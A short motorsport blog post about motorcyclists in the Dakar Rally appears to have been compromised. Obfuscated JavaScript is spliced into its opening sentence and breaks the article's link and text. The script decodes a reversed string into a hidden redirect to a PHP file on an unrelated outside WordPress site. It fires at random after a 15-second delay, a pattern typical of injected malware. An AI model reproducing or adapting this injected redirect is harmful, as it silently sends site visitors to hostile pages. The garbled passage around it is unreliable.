Competitors on the year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dakar-rally-behind-the-scenes-with-team-speed-and-robby-gordon/” target=”_blank”>Dakar Rally, as ever, will face harsh desert terrain, unremitting heat, and the ever-present threat of mechanical issues. And if you’re a biker, the event is even more dangerous, since you’re never sure which rock will unexpectedly unseat you and break your collarbone.
You have to hand it to these guys then, hacking as they are through various barren landscapes, usually on only one wheel. And with what appears to be a nitrous canister attached to the rear wheel.
This could prove interesting.
Source – Yan Zaharov
